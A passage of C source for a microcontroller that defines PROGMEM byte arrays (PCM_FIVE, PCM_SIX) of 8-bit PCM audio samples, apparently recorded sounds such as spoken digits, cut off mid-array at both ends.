0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x81,0x81,0x82,0x83,0x83,0x82\n,0x82,0x82,0x83,0x82,0x82,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e\n,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e\n,0x7e,0x7e,0x7f};\n\nconst char unsigned PROGMEM PCM_FIVE[]={\n0x80,0x80,0x81,0x80,0x80,0x7f,0x7f,0x7e,0x7e,0x7f,0x7f,0x7e,0x7d,0x7d,0x7d,0x7e,0x7d,0x7e,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7c,0x7a,0x79,0x78,0x79,0x7d,0x81,0x83\n,0x84,0x82,0x80,0x7f,0x7e,0x7c,0x79,0x75,0x71,0x6e,0x6e,0x70,0x70,0x70,0x71,0x72,0x76,0x7b,0x7f,0x80,0x80,0x7e,0x7e,0x80,0x83,0x86,0x88,0x89,0x89,0x8d,0x93,0x9a\n,0x9e,0xa0,0x9e,0x9a,0x97,0x94,0x91,0x8e,0x8c,0x8c,0x8b,0x8b,0x89,0x86,0x81,0x7b,0x74,0x6d,0x66,0x5f,0x58,0x4f,0x41,0x31,0x26,0x28,0x3a,0x60,0x95,0xc7,0xde,0xdb\n,0xc4,0x9d,0x84,0x71,0x61,0x58,0x4f,0x52,0x65,0x8a,0xb3,0xcf,0xd6,0xc3,0x9f,0x7c,0x62,0x55,0x50,0x53,0x57,0x62,0x80,0xa9,0xc6,0xcd,0xc0,0x99,0x7a,0x72,0x73,0x7e\n,0x89,0x8c,0x8d,0x94,0x9d,0x9f,0x9e,0x95,0x87,0x80,0x7f,0x7a,0x6f,0x5e,0x47,0x33,0x26,0x1d,0x1c,0x31,0x62,0xa3,0xcf,0xe2,0xd7,0xa8,0x84,0x6b,0x57,0x54,0x4e,0x4c\n,0x56,0x70,0x98,0xbb,0xd0,0xc5,0xa4,0x7d,0x5e,0x4f,0x4f,0x59,0x5f,0x66,0x77,0x88,0xad,0xcc,0xc4,0xaf,0x8a,0x6e,0x6e,0x7c,0x87,0x8e,0x8f,0x8b,0x92,0x9b,0xa0,0x9f\n,0x98,0x8c,0x7f,0x76,0x6c,0x5f,0x59,0x56,0x52,0x4a,0x33,0x13,0x06,0x28,0x80,0xd7,0xfa,0xfd,0xc4,0x7f,0x72,0x67,0x6c,0x74,0x5a,0x4f,0x5f,0x89,0xc5,0xe5,0xde,0xaf\n,0x71,0x52,0x4c,0x5b,0x72,0x76,0x71,0x72,0x81,0x93,0x9e,0x98,0x78,0x71,0x86,0x94,0xa7,0xa3,0x8a,0x7f,0x81,0x90,0xa6,0xb2,0xac,0xa1,0x95,0x8b,0x84,0x7f,0x76,0x6e\n,0x73,0x7a,0x7f,0x7b,0x68,0x4a,0x32,0x26,0x1e,0x1d,0x2b,0x4d,0xa0,0xf0,0xff,0xfb,0xbf,0x63,0x48,0x35,0x3a,0x64,0x73,0x88,0xa5,0xb4,0xcd,0xc5,0xa4,0x7d,0x45,0x37\n,0x44,0x58,0x7c,0x92,0x92,0x8e,0x85,0x78,0x6c,0x64,0x59,0x56,0x66,0x89,0xb9,0xbd,0xaf,0x93,0x70,0x78,0x93,0xa5,0xb0,0xa9,0x94,0x88,0x83,0x80,0x7a,0x7c,0x83,0x90\n,0xa3,0xa3,0x87,0x58,0x35,0x28,0x3e,0x68,0x7a,0x72,0x54,0x30,0x29,0x5d,0xc5,0xe9,0xcb,0xaa,0x57,0x3c,0x79,0x91,0x9f,0x9c,0x65,0x55,0x6d,0x8d,0xb8,0xb6,0x95,0x75\n,0x59,0x6b,0x89,0x8a,0x8b,0x77,0x5b,0x6d,0x82,0x8b,0x92,0x82,0x6a,0x65,0x7c,0x98,0x9d,0xa0,0x98,0x7d,0x7f,0x90,0x9c,0xa6,0xa9,0x9c,0x8f,0x90,0x8d,0x8a,0x89,0x86\n,0x8d,0x9a,0xa4,0x9d,0x81,0x67,0x50,0x4e,0x68,0x7f,0x89,0x83,0x68,0x4c,0x3d,0x3a,0x3a,0x3a,0x41,0x78,0xc0,0xcc,0xce,0xb8,0x62,0x43,0x49,0x3d,0x61,0x86,0x84,0x97\n,0xaa,0xac,0xb4,0xa8,0x83,0x67,0x4f,0x55,0x73,0x86,0xa3,0xa9,0x8b,0x85,0x76,0x62,0x70,0x70,0x67,0x74,0x80,0x85,0x92,0x9e,0x98,0x93,0x94,0x8f,0x8c,0x8e,0x96,0x98\n,0x99,0x9a,0x90,0x86,0x86,0x88,0x91,0x97,0x92,0x7f,0x68,0x5c,0x5e,0x6c,0x7a,0x79,0x6f,0x63,0x59,0x58,0x5c,0x5a,0x4f,0x3d,0x29,0x2a,0x72,0xd1,0xdd,0xcf,0xaf,0x50\n,0x36,0x63,0x69,0x81,0xa3,0x8a,0x8b,0xae,0xb5,0xb5,0xa1,0x6f,0x50,0x49,0x64,0x93,0xa2,0xaa,0xa2,0x7d,0x7a,0x82,0x71,0x77,0x79,0x66,0x77,0x94,0x97,0x9a,0x96,0x88\n,0x86,0x93,0xa5,0xa7,0xa0,0x9c,0x93,0x8e,0x96,0x94,0x88,0x82,0x82,0x84,0x8f,0x94,0x84,0x68,0x54,0x52,0x5d,0x78,0x8a,0x86,0x7b,0x67,0x52,0x4b,0x49,0x42,0x39,0x30\n,0x2e,0x4e,0xb6,0xf9,0xdb,0xbd,0x77,0x1d,0x33,0x68,0x74,0x9b,0xa9,0x8a,0x96,0xb2,0xad,0xa5,0x84,0x54,0x48,0x5c,0x8d,0xb2,0xac,0x9c,0x77,0x55,0x67,0x75,0x72,0x83\n,0x7c,0x6d,0x90,0xb4,0xb0,0xa6,0x8e,0x68,0x66,0x8b,0xa8,0xb2,0xb0,0x99,0x80,0x7c,0x87,0x8d,0x8e,0x93,0x95,0x94,0x90,0x7b,0x5b,0x44,0x47,0x61,0x84,0x9c,0x98,0x7f\n,0x60,0x48,0x41,0x44,0x46,0x43,0x3e,0x3f,0x56,0xa4,0xf6,0xe6,0xb2,0x7f,0x2e,0x2b,0x71,0x90,0xa4,0xb4,0x97,0x89,0xa0,0xa3,0x99,0x83,0x60,0x5c,0x70,0x95,0xb6,0xab\n,0x91,0x79,0x5f,0x68,0x80,0x7c,0x80,0x87,0x87,0xa2,0xb9,0xa7,0x82,0x6b,0x6a,0x82,0xaa,0xbf,0xae,0x91,0x7e,0x79,0x82,0x8e,0x8e,0x88,0x8c,0x9d,0xa5,0x96,0x72,0x47\n,0x31,0x41,0x6a,0x8b,0x95,0x89,0x6f,0x59,0x4e,0x4c,0x48,0x3f,0x38,0x38,0x4b,0x77,0xc0,0xeb,0xc6,0x95,0x65,0x39,0x52,0x80,0x89,0x98,0x9e,0x8e,0x9a,0xa5,0x95,0x86\n,0x6f,0x62,0x72,0x86,0x9b,0x9c,0x85,0x7c,0x73,0x6e,0x81,0x81,0x76,0x7c,0x8d,0xa4,0xab,0x9e,0x78,0x5e,0x6f,0x94,0xb2,0xbb,0xab,0x8a,0x7b,0x85,0x89,0x8b,0x89,0x82\n,0x8b,0x9d,0xa8,0x97,0x72,0x4c,0x3b,0x4c,0x6e,0x88,0x8e,0x81,0x6e,0x61,0x5c,0x59,0x4f,0x40,0x38,0x3e,0x56,0x7f,0xba,0xde,0xbf,0x92,0x6f,0x4e,0x5c,0x7e,0x86,0x8f\n,0x9e,0xa2,0xac,0xae,0x96,0x79,0x66,0x68,0x7d,0x92,0xa2,0x9b,0x86,0x80,0x7d,0x75,0x77,0x74,0x71,0x90,0xb0,0xae,0xa3,0x86,0x5d,0x5a,0x76,0x97,0xb1,0xb7,0xa6,0x8f\n,0x82,0x7d,0x79,0x78,0x7e,0x87,0x97,0xa2,0x9c,0x86,0x6c,0x57,0x50,0x53,0x59,0x64,0x72,0x7a,0x78,0x70,0x61,0x53,0x4a,0x3e,0x33,0x35,0x4b,0x74,0xa8,0xd7,0xcd,0x9b\n,0x76,0x55,0x4e,0x6c,0x7b,0x81,0x96,0xa4,0xaf,0xb4,0x9b,0x77,0x62,0x61,0x77,0x8f,0x9b,0x9c,0x8b,0x81,0x81,0x77,0x72,0x72,0x7b,0x97,0xae,0xac,0x96,0x7e,0x6b,0x6c\n,0x81,0x97,0xa8,0xae,0xab,0x9e,0x8d,0x83,0x7e,0x7a,0x7d,0x87,0x92,0x9a,0x9c,0x92,0x7d,0x67,0x56,0x4d,0x52,0x63,0x78,0x83,0x84,0x79,0x67,0x59,0x4c,0x41,0x3e,0x46\n,0x56,0x75,0x9a,0xbf,0xca,0xa6,0x80,0x67,0x59,0x6b,0x82,0x85,0x8d,0x9b,0xa2,0xab,0xa4,0x8b,0x75,0x6e,0x79,0x8a,0x93,0x96,0x8c,0x7f,0x7f,0x7b,0x73,0x7a,0x85,0x92\n,0xa3,0xa3,0x94,0x85,0x78,0x6e,0x73,0x84,0x96,0xa5,0xaa,0xa3,0x92,0x83,0x79,0x73,0x75,0x7e,0x8a,0x93,0x95,0x8e,0x80,0x6d,0x5b,0x4e,0x4e,0x5b,0x6c,0x7b,0x81,0x7b\n,0x6a,0x57,0x4b,0x45,0x40,0x3f,0x4a,0x5f,0x7e,0x9e,0xba,0xb3,0x8f,0x75,0x63,0x5f,0x71,0x7d,0x82,0x91,0x9e,0xa4,0xa3,0x94,0x80,0x73,0x74,0x81,0x89,0x8b,0x8f,0x8a\n,0x85,0x84,0x79,0x76,0x86,0x91,0x9d,0xa2,0x93,0x87,0x83,0x7b,0x77,0x7d,0x8b,0x9e,0xad,0xad,0x9f,0x89,0x7d,0x7b,0x7c,0x81,0x87,0x8e,0x95,0x97,0x92,0x82,0x6a,0x58\n,0x55,0x5e,0x6b,0x75,0x7d,0x7e,0x78,0x6c,0x5e,0x51,0x4c,0x50,0x56,0x5c,0x65,0x77,0x8a,0xa0,0xae,0x9d,0x85,0x7b,0x72,0x77,0x85,0x83,0x87,0x93,0x9a,0x9f,0x9b,0x8a\n,0x7e,0x7d,0x81,0x87,0x87,0x84,0x82,0x7e,0x7f,0x7e,0x7d,0x8b,0x92,0x93,0x92,0x86,0x7e,0x7f,0x7e,0x7a,0x7d,0x85,0x94,0xa0,0x9f,0x91,0x82,0x79,0x78,0x7a,0x7c,0x7f\n,0x86,0x8b,0x88,0x7f,0x72,0x66,0x62,0x61,0x5e,0x60,0x68,0x72,0x79,0x74,0x65,0x59,0x53,0x53,0x56,0x58,0x57,0x59,0x66,0x77,0x89,0xa0,0xa9,0x95,0x83,0x7c,0x77,0x7e\n,0x84,0x7f,0x83,0x91,0x9d,0xa3,0x9c,0x8f,0x88,0x86,0x88,0x88,0x82,0x80,0x82,0x87,0x8d,0x8e,0x8f,0x90,0x8e,0x8c,0x89,0x85,0x83,0x87,0x8b,0x8c,0x8d,0x91,0x97,0x97\n,0x93,0x8d,0x8a,0x87,0x85,0x84,0x82,0x84,0x89,0x8a,0x85,0x7f,0x78,0x70,0x6a,0x64,0x5f,0x66,0x73,0x7a,0x78,0x6f,0x67,0x62,0x62,0x61,0x5b,0x57,0x56,0x5b,0x64,0x71\n,0x7f,0x90,0xa2,0xa5,0x94,0x85,0x7e,0x79,0x7a,0x7d,0x7d,0x86,0x96,0x9e,0x9d,0x96,0x8c,0x85,0x7f,0x78,0x72,0x73,0x7f,0x8c,0x8f,0x8e,0x8b,0x84,0x7f,0x7d,0x7b,0x7c\n,0x84,0x8b,0x90,0x92,0x8d,0x87,0x86,0x86,0x84,0x86,0x8a,0x8b,0x8c,0x88,0x80,0x7b,0x7a,0x7a,0x7a,0x78,0x73,0x72,0x71,0x6c,0x67,0x65,0x65,0x69,0x6f,0x72,0x71,0x71\n,0x6b,0x65,0x61,0x5e,0x5e,0x61,0x62,0x65,0x6e,0x78,0x84,0x90,0x9f,0xa2,0x93,0x8a,0x88,0x82,0x7f,0x7e,0x7c,0x8a,0x9e,0xa3,0x9c,0x92,0x88,0x84,0x82,0x7d,0x7c,0x82\n,0x8d,0x92,0x8e,0x89,0x87,0x86,0x87,0x86,0x87,0x91,0x98,0x97,0x96,0x91,0x88,0x84,0x86,0x8b,0x92,0x97,0x98,0x94,0x8f,0x88,0x80,0x7a,0x76,0x78,0x7d,0x81,0x82,0x7c\n,0x72,0x6d,0x6b,0x6a,0x6b,0x6e,0x73,0x76,0x74,0x70,0x6d,0x6e,0x69,0x62,0x60,0x66,0x6b,0x6c,0x6a,0x6a,0x73,0x7c,0x80,0x8a,0x92,0x90,0x8b,0x84,0x7e,0x7c,0x7a,0x78\n,0x7b,0x82,0x89,0x8c,0x89,0x86,0x85,0x82,0x7d,0x78,0x76,0x79,0x7d,0x7f,0x7f,0x83,0x8a,0x8c,0x8a,0x86,0x87,0x8b,0x89,0x86,0x85,0x87,0x89,0x8b,0x8b,0x8c,0x8d,0x8b\n,0x85,0x81,0x7e,0x7d,0x7e,0x7d,0x7e,0x7e,0x7d,0x7c,0x78,0x75,0x74,0x73,0x73,0x72,0x73,0x76,0x77,0x76,0x78,0x7a,0x7b,0x7a,0x77,0x72,0x70,0x6e,0x6e,0x71,0x75,0x79\n,0x7c,0x7f,0x84,0x8c,0x90,0x8a,0x86,0x85,0x84,0x83,0x82,0x81,0x83,0x87,0x89,0x87,0x87,0x89,0x89,0x86,0x84,0x82,0x82,0x83,0x83,0x84,0x89,0x8a,0x89,0x8b,0x8b,0x8a\n,0x89,0x89,0x88,0x8a,0x8c,0x8a,0x88,0x87,0x87,0x87,0x86,0x84,0x83,0x82,0x81,0x7f,0x7d,0x7d,0x7d,0x7d,0x7d,0x7c,0x7a,0x77,0x75,0x72,0x6f,0x6f,0x72,0x75,0x78,0x79\n,0x77,0x73,0x6f,0x6f,0x71,0x74,0x73,0x71,0x70,0x72,0x71,0x6f,0x6e,0x70,0x74,0x7c,0x85,0x87,0x87,0x8a,0x86,0x7c,0x77,0x78,0x78,0x7c,0x80,0x82,0x86,0x8a,0x89,0x86\n,0x85,0x84,0x83,0x80,0x7f,0x80,0x82,0x84,0x88,0x86,0x87,0x8d,0x8a,0x87,0x88,0x86,0x86,0x87,0x85,0x86,0x8b,0x8b,0x88,0x89,0x88,0x85,0x84,0x84,0x83,0x84,0x85,0x84\n,0x82,0x81,0x7f,0x7d,0x7d,0x7b,0x7a,0x79,0x79,0x79,0x79,0x7a,0x7c,0x7d,0x7d,0x7d,0x7c,0x79,0x79,0x79,0x76,0x74,0x75,0x76,0x77,0x78,0x78,0x79,0x7c,0x81,0x86,0x87\n,0x88,0x8a,0x88,0x81,0x7e,0x7d,0x7c,0x7c,0x7f,0x83,0x88,0x8c,0x8b,0x8a,0x88,0x86,0x82,0x7e,0x7c,0x7d,0x7f,0x83,0x85,0x82,0x88,0x89,0x84,0x84,0x84,0x82,0x83,0x83\n,0x81,0x83,0x85,0x83,0x82,0x83,0x82,0x7f,0x7e,0x7e,0x7f,0x7f,0x7e,0x7c,0x7c,0x7b,0x79,0x79,0x78,0x77,0x77,0x76,0x75,0x75,0x76,0x77,0x78,0x7a,0x7b,0x7c,0x7c,0x7b\n,0x78,0x76,0x74,0x72,0x73,0x75,0x75,0x77,0x7a,0x7b,0x7e,0x82,0x85,0x84,0x84,0x87,0x87,0x81,0x7f,0x7f,0x7e,0x7e,0x81,0x84,0x88,0x8b,0x8b,0x8b,0x8b,0x89,0x85,0x81\n,0x7f,0x7f,0x80,0x84,0x88,0x85,0x8a,0x8c,0x87,0x86,0x85,0x81,0x84,0x84,0x7f,0x84,0x87,0x86,0x85,0x86,0x84,0x82,0x7f,0x7e,0x7f,0x81,0x80,0x7f,0x7f,0x7f,0x7e,0x7c\n,0x7a,0x78,0x78,0x78,0x79,0x7a,0x7c,0x7d,0x7c,0x7c,0x7c,0x7c,0x7a,0x79,0x78,0x79,0x78,0x77,0x76,0x77,0x78,0x78,0x78,0x7a,0x7e,0x81,0x83,0x84,0x84,0x86,0x84,0x7e\n,0x7e,0x80,0x7d,0x7c,0x7e,0x7f,0x82,0x84,0x84,0x85,0x87,0x87,0x84,0x81,0x7e,0x7d,0x7c,0x7a,0x7b,0x7d,0x7e,0x86,0x8b,0x7f,0x84,0x89,0x84,0x80,0x7d,0x7c,0x82,0x81\n,0x7b,0x7f,0x85,0x85,0x81,0x83,0x81,0x80,0x7d,0x7a,0x79,0x7b,0x7c,0x78,0x7b,0x7e,0x7e,0x7b,0x7c,0x7b,0x7a,0x7a,0x7a,0x7a,0x7a,0x7c,0x7d,0x7f,0x7e,0x7e,0x7d,0x7c\n,0x79,0x77,0x77,0x76,0x77,0x79,0x7d,0x83,0x8a,0x8a,0x87,0x8b,0x8b,0x82,0x7e,0x7d,0x7a,0x79,0x7b,0x7c,0x81,0x86,0x89,0x8b,0x8d,0x8b,0x88,0x84,0x80,0x7d,0x79,0x78\n,0x7a,0x7e,0x81,0x84,0x8a,0x8d,0x8b,0x89,0x86,0x83,0x80,0x7b,0x7a,0x7d,0x7e,0x7f,0x83,0x87,0x88,0x87,0x84,0x81,0x7f,0x7d,0x79,0x78,0x7a,0x7b,0x7b,0x7c,0x7e,0x7e\n,0x7d,0x7d,0x7b,0x7a,0x79,0x78,0x79,0x7a,0x7b,0x7c,0x7c,0x7c,0x7b,0x7a,0x78,0x76,0x75,0x74,0x73,0x76,0x7b,0x81,0x84,0x84,0x88,0x8b,0x86,0x82,0x80,0x7c,0x7a,0x78\n,0x76,0x78,0x7d,0x81,0x83,0x87,0x8a,0x8c,0x8a,0x86,0x83,0x7e,0x7a,0x79,0x79,0x78,0x7c,0x81,0x85,0x8a,0x8a,0x89,0x8a,0x8a,0x84,0x80,0x7f,0x7d,0x7d,0x7d,0x7e,0x80\n,0x84,0x86,0x86,0x86,0x87,0x84,0x80,0x7e,0x7c,0x7a,0x7a,0x7a,0x79,0x7c,0x7e,0x7f,0x80,0x81,0x81,0x81,0x80,0x7e,0x7d,0x7c,0x7b,0x79,0x78,0x78,0x78,0x78,0x77,0x79\n,0x7c,0x81,0x85,0x85,0x88,0x8c,0x8a,0x87,0x84,0x80,0x7d,0x7a,0x79,0x78,0x7a,0x7e,0x82,0x85,0x87,0x8a,0x8b,0x89,0x88,0x84,0x80,0x7d,0x7c,0x7a,0x77,0x79,0x7d,0x82\n,0x84,0x85,0x87,0x89,0x89,0x87,0x84,0x80,0x80,0x7f,0x7d,0x7b,0x7c,0x7f,0x80,0x81,0x82,0x83,0x83,0x83,0x81,0x7e,0x7b,0x7a,0x79,0x77,0x76,0x77,0x7a,0x7c,0x7c,0x7e\n,0x7f,0x7f,0x7f,0x7e,0x7c,0x7b,0x79,0x77,0x77,0x76,0x76,0x78,0x7a,0x7d,0x80,0x82,0x83,0x84,0x87,0x86,0x84,0x83,0x82,0x80,0x7e,0x7c,0x7c,0x7c,0x7d,0x7f,0x81,0x82\n,0x84,0x86,0x86,0x85,0x84,0x84,0x83,0x81,0x80,0x80,0x80,0x81,0x81,0x82,0x83,0x84,0x85,0x85,0x84,0x85,0x85,0x84,0x82,0x82,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80\n,0x80,0x7f,0x7f,0x7e,0x7e,0x7d,0x7c,0x7c,0x7c,0x7c,0x7d,0x7e,0x7e,0x7e,0x7f,0x7f,0x7e,0x7e,0x7d,0x7c,0x7c,0x7b,0x7a,0x7b,0x7c,0x7d,0x7e,0x7f,0x80,0x81,0x83,0x83\n,0x83,0x82,0x82,0x82,0x81,0x80,0x80,0x7f,0x80,0x80,0x80,0x80,0x81,0x81,0x82,0x82,0x82,0x82,0x82,0x82,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e\n,0x7e,0x7e,0x7e,0x7e,0x7f,0x80,0x80,0x81,0x82,0x83,0x83,0x83,0x82,0x82,0x82,0x81};\n\nconst char unsigned PROGMEM PCM_SIX[]={\n0x7f,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x7f,0x7f,0x80,0x80,0x80,0x81,0x81,0x82,0x81,0x81,0x81,0x81,0x80,0x80,0x7f,0x80,0x80,0x7f,0x80,0x80,0x82\n,0x81,0x82,0x80,0x83,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7e,0x7f,0x7d,0x7f,0x7f,0x7f,0x7f,0x81,0x80,0x80,0x80,0x7f,0x80,0x7f,0x7f,0x80,0x80,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x7f,0x7d,0x7f,0x7e,0x7d,0x7d,0x7e,0x7c,0x7d,0x7c,0x7c,0x7f,0x7d,0x7d,0x7e,0x7f,0x80,0x80,0x7f,0x81,0x80,0x80,0x7f,0x81,0x7f,0x7f,0x7f,0x7e,0x7e,0x7d,0x7d\n,0x7d,0x7e,0x7e,0x7d,0x7d,0x7f,0x7d,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x80,0x81,0x81,0x81,0x82,0x83,0x82,0x83,0x82,0x82,0x83,0x82,0x80,0x81,0x80,0x80,0x7f,0x80,0x7f\n,0x81,0x7f,0x81,0x80,0x80,0x7f,0x80,0x81,0x7f,0x80,0x7f,0x80,0x7f,0x80,0x7f,0x81,0x80,0x80,0x80,0x80,0x7f,0x80,0x80,0x7e,0x81,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x7f\n,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7e,0x80,0x7f,0x7f,0x81,0x7f,0x80,0x82,0x7f,0x81,0x81,0x80,0x81,0x81,0x80,0x81,0x81,0x7f,0x82,0x7f,0x80,0x80,0x7f,0x7f\n,0x80,0x80,0x7f,0x81,0x80,0x80,0x80,0x7e,0x80,0x7f,0x7c,0x7e,0x7d,0x7c,0x7e,0x7e,0x7f,0x7e,0x7e,0x7e,0x7f,0x7e,0x7e,0x7f,0x7d,0x80,0x7f,0x7d,0x80,0x7f,0x7d,0x7f\n,0x7d,0x7e,0x7f,0x7c,0x7d,0x7f,0x7c,0x7e,0x7e,0x7e,0x80,0x7f,0x7d,0x80,0x7f,0x7d,0x7f,0x7e,0x7e,0x7f,0x7d,0x80,0x82,0x80,0x81,0x81,0x80,0x81,0x80,0x80,0x81,0x81\n,0x80,0x81,0x81,0x81,0x81,0x80,0x81,0x82,0x81,0x80,0x82,0x82,0x82,0x82,0x82,0x83,0x82,0x82,0x81,0x82,0x81,0x80,0x81,0x80,0x7f,0x7f,0x7f,0x80,0x80,0x7f,0x80,0x81\n,0x80,0x81,0x83,0x80,0x82,0x83,0x81,0x83,0x82,0x80,0x82,0x81,0x7e,0x81,0x80,0x7f,0x82,0x7e,0x80,0x81,0x7e,0x81,0x81,0x7e,0x81,0x83,0x7f,0x82,0x81,0x80,0x82,0x80\n,0x7f,0x81,0x80,0x7e,0x7f,0x7d,0x7e,0x7e,0x7d,0x7d,0x7e,0x7b,0x7c,0x7c,0x7a,0x7b,0x79,0x79,0x7a,0x78,0x75,0x78,0x77,0x76,0x77,0x78,0x79,0x79,0x7a,0x7d,0x7f,0x7e\n,0x80,0x81,0x82,0x83,0x85,0x85,0x86,0x87,0x87,0x89,0x8b,0x8a,0x89,0x8c,0x8c,0x8b,0x8b,0x8b,0x8b,0x8a,0x86,0x84,0x84,0x7f,0x7d,0x7a,0x78,0x76,0x72,0x6f,0x6d,0x68\n,0x62,0x5c,0x58,0x56,0x54,0x50,0x5a,0x6d,0x6c,0x76,0x8d,0x95,0xa5,0xab,0xa9,0xb3,0xb1,0xa2,0x9a,0x90,0x84,0x79,0x6f,0x69,0x6b,0x6e,0x76,0x82,0x8c,0x97,0xa1,0xa9\n,0xac,0xaa,0xa4,0x9e,0x95,0x88,0x7c,0x77,0x72,0x6d,0x6f,0x74,0x79,0x81,0x85,0x89,0x8b,0x87,0x80,0x77,0x69,0x5c,0x4d,0x42,0x3b,0x42,0x52,0x49,0x5a,0x78,0x80,0x97\n,0xa5,0xa6,0xbb,0xb9,0xaa,0xa9,0x9f,0x90,0x82,0x79,0x6d,0x67,0x66,0x5e,0x65,0x6e,0x6d,0x75,0x83,0x91,0x95,0x97,0xa0,0xa6,0xa0,0x99,0x98,0x95,0x8a,0x82,0x80,0x80\n,0x7d,0x79,0x7f,0x88,0x8c,0x8b,0x92,0x97,0x92,0x8b,0x82,0x77,0x6a,0x54,0x44,0x33,0x22,0x16,0x2f,0x3b,0x2a,0x54,0x75,0x84,0xac,0xaf,0xc0,0xe6,0xce,0xbe,0xc0,0xab\n,0x93,0x7c,0x68,0x5d,0x5a,0x4d,0x47,0x5f,0x67,0x6c,0x81,0x8e,0xa6,0xb1,0xab,0xb8,0xbc,0xa6,0xa1,0x9a,0x85,0x7d,0x74,0x6a,0x74,0x70,0x6f,0x87,0x8e,0x94,0xa1,0xa2\n,0xa7,0xa5,0x91,0x89,0x7e,0x61,0x4d,0x38,0x20,0x14,0x13,0x34,0x2b,0x31,0x76,0x82,0x9f,0xcd,0xc4,0xee,0xff,0xce,0xd5,0xc8,0x9b,0x85,0x68,0x4f,0x4b,0x3f,0x34,0x49\n,0x60,0x5e,0x7c,0x92,0x9a,0xad,0xa8,0xb2,0xb5,0x9b,0x90,0x95,0x7e,0x6b,0x6a,0x6b,0x6f,0x70,0x71,0x89,0x99,0x95,0xa4,0xb1,0xb1,0xaa,0x9c,0x95,0x8e,0x75,0x5c,0x53\n,0x43,0x31,0x1e,0x13,0x12,0x23,0x4a,0x36,0x4f,0x9a,0x94,0xb4,0xd9,0xcc,0xf3,0xea,0xb6,0xc6,0xab,0x79,0x66,0x50,0x41,0x3d,0x35,0x38,0x58,0x6c,0x6c,0x8d,0xa7,0xa7\n,0xb2,0xaa,0xa6,0xa7,0x87,0x75,0x81,0x68,0x54,0x63,0x68,0x72,0x7f,0x85,0xa6,0xbc,0xb2,0xc1,0xca,0xbe,0xb7,0xa4,0x92,0x8f,0x72,0x5d,0x5f,0x52,0x46,0x46,0x3e,0x41\n,0x3e,0x35,0x36,0x58,0x74,0x53,0x77,0xb1,0x9c,0xb6,0xc7,0xb3,0xdc,0xbe,0x8e,0xaf,0x91,0x62,0x66,0x59,0x51,0x57,0x4e,0x5b,0x7b,0x7e,0x7f,0x9f,0xa6,0x9a,0x9f,0x93\n,0x8c,0x87,0x64,0x60,0x6d,0x5b,0x54,0x6a,0x78,0x86,0x94,0x9c,0xba,0xc3,0xb3,0xbf,0xc2,0xaa,0x9e,0x8d,0x84,0x7f,0x68,0x61,0x6c,0x64,0x59,0x62,0x63,0x62,0x5f,0x54\n,0x55,0x55,0x41,0x52,0x6f,0x50,0x66,0x90,0x80,0x9d,0xad,0x9a,0xc3,0xb4,0x8b,0xa6,0x90,0x69,0x6d,0x5e,0x54,0x5c,0x52,0x5b,0x76,0x78,0x7a,0x94,0x9e,0x95,0x9a,0x96\n,0x8e,0x8b,0x72,0x6f,0x78,0x63,0x5d,0x6e,0x7a,0x84,0x88,0x94,0xae,0xb3,0xa8,0xb3,0xb7,0xa7,0x9e,0x93,0x8c,0x88,0x74,0x71,0x7d,0x76,0x72,0x7b,0x84,0x83,0x7f,0x7d\n,0x7d,0x75,0x64,0x56,0x52,0x45,0x4b,0x5f,0x47,0x5d,0x89,0x79,0x90,0xad,0x9e,0xb8,0xb2,0x90,0xa7,0x8f,0x68,0x72,0x64,0x56,0x62,0x5c,0x69,0x82,0x81,0x8d,0xa4,0xa7\n,0xa6,0xa8,0xa0,0x98,0x8e,0x78,0x6f,0x6e,0x5b,0x53,0x5e,0x62,0x64,0x72,0x7f,0x92,0x9f,0x9d,0xac,0xb6,0xa9,0xa8,0xa7,0x99,0x90,0x85,0x7d,0x7d,0x73,0x6e,0x78,0x7a\n,0x77,0x7e,0x83,0x84,0x83,0x7b,0x77,0x73,0x65,0x5a,0x4e,0x43,0x3c,0x36,0x51,0x52,0x3e,0x72,0x84,0x79,0x9d,0xa0,0xa5,0xbb,0x98,0x9a,0xa7,0x7f,0x75,0x79,0x6b,0x68\n,0x66,0x69,0x7b,0x7e,0x80,0x8d,0x9c,0x96,0x93,0x99,0x94,0x8d,0x84,0x79,0x7d,0x77,0x69,0x6e,0x76,0x75,0x71,0x7c,0x87,0x89,0x8c,0x97,0x9d,0x9f,0x9d,0xa3,0xa4,0xa0\n,0x9d,0x99,0x97,0x8e,0x86,0x82,0x7e,0x77,0x75,0x70,0x74,0x76,0x75,0x79,0x7e,0x7f,0x80,0x7f,0x7a,0x76,0x6d,0x63,0x56,0x4b,0x41,0x49,0x5a,0x44,0x53,0x84,0x7d,0x87\n,0xa8,0xac,0xb9,0xb5,0xa5,0xb1,0x9c,0x7f,0x7c,0x73,0x66,0x62,0x61,0x6c,0x77,0x77,0x85,0x97,0x99,0x98,0x9c,0x96,0x8e,0x83,0x77,0x72,0x6d,0x62,0x60,0x69,0x6f,0x71\n,0x7a,0x8b,0x92,0x94,0x9a,0x9f,0xa1,0x98,0x92,0x92,0x8b,0x7e,0x7b,0x7a,0x75,0x71,0x71,0x78,0x79,0x79,0x7b,0x80,0x83,0x80,0x7e,0x